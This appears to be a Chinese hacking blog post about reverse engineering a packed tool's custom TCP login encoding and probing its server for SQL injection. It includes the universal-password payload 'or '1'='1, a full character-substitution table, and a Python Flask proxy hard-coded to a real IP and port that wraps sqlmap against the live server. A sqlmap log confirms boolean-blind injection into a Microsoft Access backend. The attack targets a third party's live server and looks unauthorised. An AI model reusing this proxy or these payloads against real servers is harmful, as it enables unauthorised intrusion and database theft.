一次神秘的注入之旅

起源

偶然从某个角落发现了这么个程序,是用来修改电脑的机器码的。

初步分析

既然有登录,大概率是跟网络有关了,估计不是本地认证,于是先看看连接。

虽然我逆向苦手,但IDA的启动还是很在行的,于是顺便看看PE信息。

好,是vmp,那IDA也不用启动了,又减少了一点熵增,我真是大善人。
那么简单登陆一下,抓个包,看看是什么样的通讯,要是基于HTTP的,本脚本小子就要乐开花了。

果然人生不如意十有八九,这包看起来像是DES或者AES之类的算法,又带着VMP,没法分析出密钥,一个头两个大。

更进一步

想想果然还是不能放弃,毕竟很有趣,于是把登陆包copy出来尝试着分析一下。
首先登陆时我输入的用户名是:

'''aaaaaaa'''

对此,抓出来的数据包是:

36DDE8D2F7A5D7D2AC38B3B6B1FCB1C3B4D3392038B3B6B1FCB1C3B4D339222122272224222822272222222622242220222123522420255355512938B3B6B1FCB1C3B4D3393737377171717171717137373738B3B6B1FCB1C3B4D33971747D797E21222338B3B6B1FCB1C3B4D33929282121202624202020202625222222252526222625222622262621C23D0A2B6

顶着眼睛瞎掉的风险,逐字逐句的分析,我发现这似乎并非是AES或DES之类的算法,而似乎是一个很简单的操作。
可以看到这一串HEX中有这么一段:

37373771717171717171373737

不难看出,这是对ASCII码做了一些操作,应该是:

ord(char) + 16

不过知道了这些似乎也没什么意义,又陷入了沉思。

峰回路转

想破头都想不到有什么方法可以拿到他的服务器权限,百无聊赖下,本脚本小子顺手给他来了个万能密码:

'or '1'='1

没想到这时候的回显居然有了变化。
之前一直都是提示用户不存在,or一下居然回了密码错误,这也许意味着可以注入,瞬间我就来了精神。
抄起wireshark,仔细分析登录时的回包:

36DDE8D2F7A5D7D2AD38B3B6B1FCB1C3B4D339D3CCD2FBA4FDDEE3B3B14B344D22202221D4FA2120C4D228D8C52221DAA12128A7C62224D3FBC23D0A2B6
//提示密码错误的回包
36DDE8D2F7A5D7D2AD38B3B6B1FCB1C3B4D339C5DBAAD5A2ABA4F6C4CA4B344D22202221D4FA2120C4D228D8C52221DAA12128A7C62327D3FBC23D0A2B6
//提示用户不存在的回包

看起来两次的返回内容长度都是一致的,估计只能bool注入,union什么的,才不会有呢。
不过既然是登录功能的注入,只有bool倒也很正常。
但bool型的注入手工起来实在是累人,果然还是要写exp啊。

但这时候又碰到了问题,他对hex的编码似乎不只是简单的+16而已,有时候似乎还会做减法,比如:

':' == 3A ----ENC---> 2A
'a' == 61 ----ENC---> 71

一点一点去测试他的规律太麻烦了,反正这个程序登录的用户名并没有限制长度,于是我将ASCII表中所有可显示字符作为用户名,直接抓包拿到对应的字符表了事。
最后的对应表:

{' ': '30', '!': '31', '"': '32', '#': '33', '$': '34', '%': '35', '&': '36', "'": '37', '(': '38', ')': '39', '*': '3A', '+': '3B', ',': '3C', '-': '3D', '.': '3E', '/': '3F', '0': '20', '1': '21', '2': '22', '3': '23', '4': '24', '5': '25', '6': '26', '7': '27', '8': '28', '9': '29', ':': '2A', ';': '2B', '<': '2C', '=': '2D', '>': '2E', '?': '2F', '@': '50', 'A': '51', 'B': '52', 'C': '53', 'D': '54', 'E': '55', 'F': '56', 'G': '57', 'H': '58', 'I': '59', 'J': '5A', 'K': '5B', 'L': '5C', 'M': '5D', 'N': '5E', 'O': '5F', 'P': '40', 'Q': '41', 'R': '42', 'S': '43', 'T': '44', 'U': '45', 'V': '46', 'W': '47', 'X': '48', 'Y': '49', 'Z': '4A', '[': '4B', '\\': '4C', ']': '4D', '^': '4E', '_': '4F', '`': '70', 'a': '71', 'b': '72', 'c': '73', 'd': '74', 'e': '75', 'f': '76', 'g': '77', 'h': '78', 'i': '79', 'j': '7A', 'k': '7B', 'l': '7C', 'm': '7D', 'n': '7E', 'o': '7F', 'p': '60', 'q': '61', 'r': '62', 's': '63', 't': '64', 'u': '65', 'v': '66', 'w': '67', 'x': '68', 'y': '69', 'z': '6A', '{': '6B', '|': '6C', '}': '6D', '~': '6E'}

最后给他加个flask,就可以用sqlmap跑起来了。 完成:

import socket
from flask import Flask, request

def enc(data):
    prefix = '36DDE8D2F7A5D7D2AC38B3B6B1FCB1C3B4D3392038B3B6B1FCB1C3B4D339222122272224222822272222222622242220222123522420255355512938B3B6B1FCB1C3B4D339'
    suffix = '38B3B6B1FCB1C3B4D3393737373737373738B3B6B1FCB1C3B4D33925242421252020202220262722232626232326222625222622262621C23D0A2B6'
    table = {' ': '30', '!': '31', '"': '32', '#': '33', '$': '34', '%': '35', '&': '36', "'": '37', '(': '38', ')': '39', '*': '3A', '+': '3B', ',': '3C', '-': '3D', '.': '3E', '/': '3F', '0': '20', '1': '21', '2': '22', '3': '23', '4': '24', '5': '25', '6': '26', '7': '27', '8': '28', '9': '29', ':': '2A', ';': '2B', '<': '2C', '=': '2D', '>': '2E', '?': '2F', '@': '50', 'A': '51', 'B': '52', 'C': '53', 'D': '54', 'E': '55', 'F': '56', 'G': '57', 'H': '58', 'I': '59', 'J': '5A', 'K': '5B', 'L': '5C', 'M': '5D', 'N': '5E', 'O': '5F', 'P': '40', 'Q': '41', 'R': '42', 'S': '43', 'T': '44', 'U': '45', 'V': '46', 'W': '47', 'X': '48', 'Y': '49', 'Z': '4A', '[': '4B', '\\': '4C', ']': '4D', '^': '4E', '_': '4F', '`': '70', 'a': '71', 'b': '72', 'c': '73', 'd': '74', 'e': '75', 'f': '76', 'g': '77', 'h': '78', 'i': '79', 'j': '7A', 'k': '7B', 'l': '7C', 'm': '7D', 'n': '7E', 'o': '7F', 'p': '60', 'q': '61', 'r': '62', 's': '63', 't': '64', 'u': '65', 'v': '66', 'w': '67', 'x': '68', 'y': '69', 'z': '6A', '{': '6B', '|': '6C', '}': '6D', '~': '6E'}
    tmp = ''
    for d in data:
        tmp += table[d]
    return (prefix + tmp + suffix).encode('ascii')

def parse_ret(data):
    if b'D3CCD2FBA4FDDEE3B3B14' in data:
        return True
    else:
        return False

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('42.192.194.16', 5566))

app = Flask(__name__)

@app.route('/')
def hello_world():
    return "Hi"

@app.route('/test')
def test():
    arg = request.args.get('username')
    s.send(enc(arg))
    if parse_ret(s.recv(1024)):
        return "True"
    else:
        return "False"

app.run('127.0.0.1', 9999)

无功而返

不多说直接跑,不想描述直接上sqlmap日志:

sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: username (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=admin' AND 5624=5624 AND 'duto'='duto
---
back-end DBMS: Microsoft Access
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=admin' AND 5624=5624 AND 'duto'='duto
---
back-end DBMS: Microsoft Access
No tables found

No tables found!!!!
No! tables! found!!!!!
好家伙,搞了半天,来了个access数据库。access就算了还跑不出表,简直是绝望二连击!!!

总结

  • 太菜了,尝试过去脱VMP,但是这程序还有反调试,直接放弃。
  • 可能这种对hex的处理方式有专门的叫法?基础还是差,不太懂。
  • exp以及程序戳这里
Avatar photo 心有所向,日复一日,必有精进。 Twitter Tweet